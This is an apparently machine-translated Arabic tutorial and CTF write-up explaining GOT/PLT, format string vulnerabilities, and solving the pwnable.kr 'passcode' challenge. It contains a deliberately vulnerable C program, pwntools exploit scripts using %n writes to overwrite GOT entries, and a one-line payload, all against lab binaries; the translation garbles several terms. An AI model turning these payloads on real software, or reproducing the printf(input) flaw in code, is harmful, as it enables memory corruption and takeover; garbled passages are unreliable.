في هذه المقالة سوف نحلل: ما هو الجدول العام للتعويضات ، وجدول علاقات الإجراءات وإعادة كتابتها من خلال ثغرة سلسلة التنسيق. سنقوم أيضًا بحل المهمة الخامسة من موقع
pwnable.kr .
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
جدول الأوفست الشامل وجدول علاقة الإجراءات
يتم تحميل المكتبات المرتبطة بشكل حيوي من ملف منفصل في الذاكرة في وقت التمهيد أو في وقت التشغيل. وبالتالي ، لا يتم إصلاح عناوينها في الذاكرة لتجنب تعارض الذاكرة مع المكتبات الأخرى. بالإضافة إلى ذلك ، فإن آلية أمان ASLR ستعمل بشكل عشوائي على عنوان كل وحدة في وقت التمهيد.
جدول الأوفست الشامل (GOT) - جدول العناوين المخزنة في قسم البيانات. يتم استخدامه في وقت التشغيل للبحث عن عناوين المتغيرات العمومية التي لم تكن معروفة في وقت الترجمة. هذا الجدول موجود في قسم البيانات ولا تستخدمه جميع العمليات. يتم تخزين جميع العناوين المطلقة المشار إليها في قسم الكود في جدول GOT هذا. يستخدم قسم الكود الإزاحات النسبية للوصول إلى هذه العناوين المطلقة. وبالتالي ، يمكن مشاركة رمز المكتبة عن طريق العمليات ، حتى لو تم تحميلها في مساحات مختلفة من عناوين الذاكرة.
يحتوي جدول ربط الإجراءات (PLT) على رمز الانتقال لاستدعاء الوظائف الشائعة التي يتم تخزين عناوينها في GOT ، أي أن PLT تحتوي على عناوين يتم تخزين عناوين للبيانات (عناوين) من GOT.
النظر في الآلية باستخدام مثال:
- في رمز البرنامج ، تسمى الوظيفة الخارجية printf.
- ينتقل تدفق التحكم إلى السجل رقم n في PLT ، ويحدث الانتقال عند إزاحة نسبية ، بدلاً من عنوان مطلق.
- ينتقل إلى العنوان المخزن في GOT. يشير مؤشر الوظيفة المخزّن في جدول GOT أولاً إلى مقتطف شفرة PLT.
- وبالتالي ، إذا تم استدعاء printf لأول مرة ، فسيتم استدعاء محول الرابط الديناميكي للحصول على العنوان الفعلي للدالة الهدف.
- تتم كتابة عنوان printf على جدول GOT ، ثم يتم استدعاء printf.
- إذا تم استدعاء printf مرة أخرى في التعليمات البرمجية ، فلن يتم استدعاء محلل البيانات لأن عنوان printf قد تم تخزينه بالفعل في GOT.

عند استخدام هذا الربط المؤجل ، لا يُسمح للمؤشرات إلى الوظائف التي لا تُستخدم في وقت التشغيل. وبالتالي ، فإنه يوفر الكثير من الوقت.
لكي تعمل هذه الآلية ، توجد الأقسام التالية في الملف:
- .got - يحتوي على إدخالات لـ GOT؛
- .lt - يحتوي على إدخالات لـ PLT؛
- .got.plt - يحتوي على علاقات العنوان GOT - PLT؛
- .plt.got - يحتوي على علاقات العنوان PLT - GOT.
نظرًا لأن قسم .got.plt عبارة عن صفيف من المؤشرات ويتم تعبئته أثناء تنفيذ البرنامج (أي ، الكتابة مسموح به) ، يمكننا الكتابة فوق أحدهم والتحكم في تدفق تنفيذ البرنامج.
سلسلة التنسيق
سلسلة التنسيق هي سلسلة تستخدم محددات التنسيق. يشار إلى محدد التنسيق بالرمز "٪" (لإدخال علامة النسبة المئوية ، استخدم التسلسل "٪٪").
pritntf(“output %s 123”, “str”); output str 123
محددات التنسيق الأكثر أهمية:
- د - الرقم العشري الموقع والحجم الافتراضي والحجم (int) ؛
- x و X عبارة عن رقم سداسي عشري غير موقّع ، x يستخدم حروفًا صغيرة (abcdef) ، X كبيرة (ABCDEF) ، الحجم الافتراضي هو sizeof (int) ؛
- s - خط الإخراج مع صفر إنهاء بايت؛
- n هو عدد الأحرف المكتوبة في وقت ظهور تسلسل الأمر الذي يحتوي على n.
لماذا شكل سلسلة الضعف هو ممكن
تتمثل مشكلة عدم الحصانة هذه في استخدام إحدى وظائف إخراج التنسيق دون تحديد تنسيق (كما في المثال التالي). وبالتالي ، يمكننا أنفسنا تحديد تنسيق الإخراج ، مما يؤدي إلى القدرة على قراءة القيم من المكدس ، وعند تحديد تنسيق خاص ، الكتابة إلى الذاكرة.
خذ بعين الاعتبار الثغرة الأمنية في المثال التالي:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }
وبالتالي ، فإن السطر التالي لا يحدد تنسيق الإخراج.
printf(input);
ترجمة البرنامج.
gcc vuln1.c -o vuln -no-pie
لنلقِ نظرة على القيم الموجودة في الحزمة من خلال إدخال سطر يحتوي على محددات التنسيق.

وبالتالي ، عند استدعاء printf (الإدخال) ، يتم تشغيل المكالمة التالية:
printf(“%p-%p-%p-%p-%p“);
يبقى أن نفهم ما يعرض البرنامج. تحتوي وظيفة printf على عدة وسيطات ، وهي بيانات لسلسلة التنسيق.
خذ بعين الاعتبار مثال استدعاء دالة مع الوسائط التالية:
printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);
عند استدعاء هذه الوظيفة ، ستبدو المكدس كما يلي.

وبالتالي ، عندما يتم اكتشاف محدد التنسيق ، تقوم الدالة باسترداد قيمة المكدس. وبالمثل ، فإن وظيفة من مثالنا سوف تسترجع 5 قيم من المكدس.

لتأكيد ما سبق ، نجد سلسلة التنسيق الخاصة بنا في الحزمة.

عند ترجمة القيم من عرض سداسي عشرية ، نحصل على السلسلة "٪ -p٪ AAAA". وهذا هو ، كنا قادرين على الحصول على القيم من المكدس.
حصلت الكتابة
دعونا نتحقق من القدرة على إعادة كتابة GOT من خلال ثغرة سلسلة التنسيق. للقيام بذلك ، دعنا ننفذ برنامجنا عن طريق إعادة كتابة عنوان الدالة exit () إلى عنوان main. سنقوم بالكتابة باستخدام pwntools. قم بإنشاء التصميم الأولي وكرر الإدخال السابق.
from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()

ولكن نظرًا لحجم السلسلة التي تم إدخالها ، فإن محتويات الحزمة ستكون مختلفة ، وسوف نتأكد من أن حمل الإدخال يحتوي دائمًا على نفس عدد الأحرف التي تم إدخالها.
payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)

payload = ("%p-%p-%p-%p").ljust(64, ”*”)

نحتاج الآن إلى معرفة عنوان GOT لوظائف exit () وعنوان الوظيفة الرئيسية. سيتم العثور على العنوان الرئيسي باستخدام gdb.

يمكن العثور على عنوان GOT الخاص بالخروج () باستخدام كل من gdb و objdump.


objdump -R vuln

سنكتب هذه العناوين في برنامجنا.
main_addr = 0x401162 exit_addr = 0x404038
الآن تحتاج إلى إعادة كتابة العنوان. لإضافة عنوان الدالة exit () إلى المكدس والعناوين التالية ، أي * (خروج ()) + 1 ، إلخ. يمكنك إضافته باستخدام الحمل لدينا.
payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)
تشغيل وتحديد الحساب الذي يعرض العنوان.

يتم عرض هذه العناوين في الموضعين 14 و 15. يمكنك عرض القيمة في موضع معين على النحو التالي.
payload = ("%14$p").ljust(64, "*")

سنقوم بإعادة كتابة العنوان في كتلتين. للبدء ، سنطبع 4 قيم حتى تكون عناويننا في الموضعين الثاني والرابع.
payload = ("%p%14$p%p%15$p").ljust(64, "*")

الآن نقوم بتقسيم عنوان main () إلى كتلتين:
0x401162
1) 0x62 = 98 (اكتب في 0x404038)
2) 0x4011 - 0x62 = 16303 (الكتابة إلى العنوان 0x404039)
نكتبها على النحو التالي:
payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
كود كامل:
from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()

وبالتالي ، يتم إعادة تشغيل البرنامج بدلاً من الإنهاء. نعيد كتابة عنوان الخروج ().
حل وظيفة رمز المرور
نضغط على الرمز الأول مع توقيع رمز المرور ، وقيل لنا إننا بحاجة إلى الاتصال عبر SSH بضيف كلمة المرور.

عند الاتصال ، نرى الشعار المقابل.

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.
ls -l

وبالتالي ، يمكننا قراءة التعليمات البرمجية المصدر للبرنامج ، حيث يوجد حق للقراءة للجميع ، وتنفيذ برنامج رمز المرور مع حقوق المالك (تم تعيين بت لزجة). دعنا نرى نتائج الكود.

حدث خطأ في وظيفة تسجيل الدخول (). في scanf () ، يتم تمرير الوسيطة الثانية ليس عنوان المتغير & passcode1 ، ولكن المتغير نفسه ، وليس التهيئة. نظرًا لأن المتغير لم تتم تهيئته بعد ، فإنه يحتوي على "القمامة" غير المكتوبة التي بقيت بعد تنفيذ التعليمات السابقة. وهذا يعني أن scanf () سيكتب الرقم إلى العنوان ، والذي سيكون البيانات المتبقية.

وبالتالي ، قبل الاتصال بوظيفة تسجيل الدخول ، يمكننا التحكم في منطقة الذاكرة هذه ، ثم يمكننا كتابة أي رقم على أي عنوان (تغيير منطق البرنامج بالفعل).
نظرًا لأن وظيفة login () تسمى مباشرة بعد وظيفة welcome () ، فلديهم نفس عناوين إطار المكدس.

دعونا نتحقق مما إذا كان بإمكاننا كتابة البيانات إلى موقع passcode1 في المستقبل. افتح البرنامج في gdb وفك وظائف تسجيل الدخول () و welcome (). نظرًا لأن scanf يحتوي على معلمتين في كلتا الحالتين ، فسيتم تمرير عنوان المتغير إلى الوظيفة أولاً. وبالتالي ، فإن عنوان passcode1 هو ebp-0x10 ، والاسم هو ebp-0x70.


الآن ، دعونا نحسب عنوان passcode1 المتعلق بالاسم ، شريطة أن تكون قيمة ebp هي نفسها:
(& name) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & name + 96
بمعنى آخر 4 بايتات من الاسم - هذا هو "البيانات المهملة" التي ستكون بمثابة عنوان للكتابة إلى وظيفة تسجيل الدخول.
في المقالة ، رأينا كيف يمكنك تغيير منطق التطبيق من خلال إعادة كتابة العناوين في GOT. دعونا نفعل ذلك هنا أيضا. نظرًا لأن scanf () يتبعه تدفق ، ثم عند عنوان هذه الوظيفة في GOT ، نكتب عنوان التعليمات لاستدعاء وظيفة system () لقراءة العلامة.



وهذا هو ، في العنوان 0x804a004 تحتاج إلى كتابة 0x80485e3 في شكل عشري.
python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

نتيجة لذلك ، حصلنا على 10 نقاط ، حتى الآن هذه هي المهمة الأكثر صعوبة.

يتم إرفاق ملفات هذه المقالة
بقناة Telegram . نراكم في المقالات التالية!
نحن في قناة برقية:
قناة في برقية .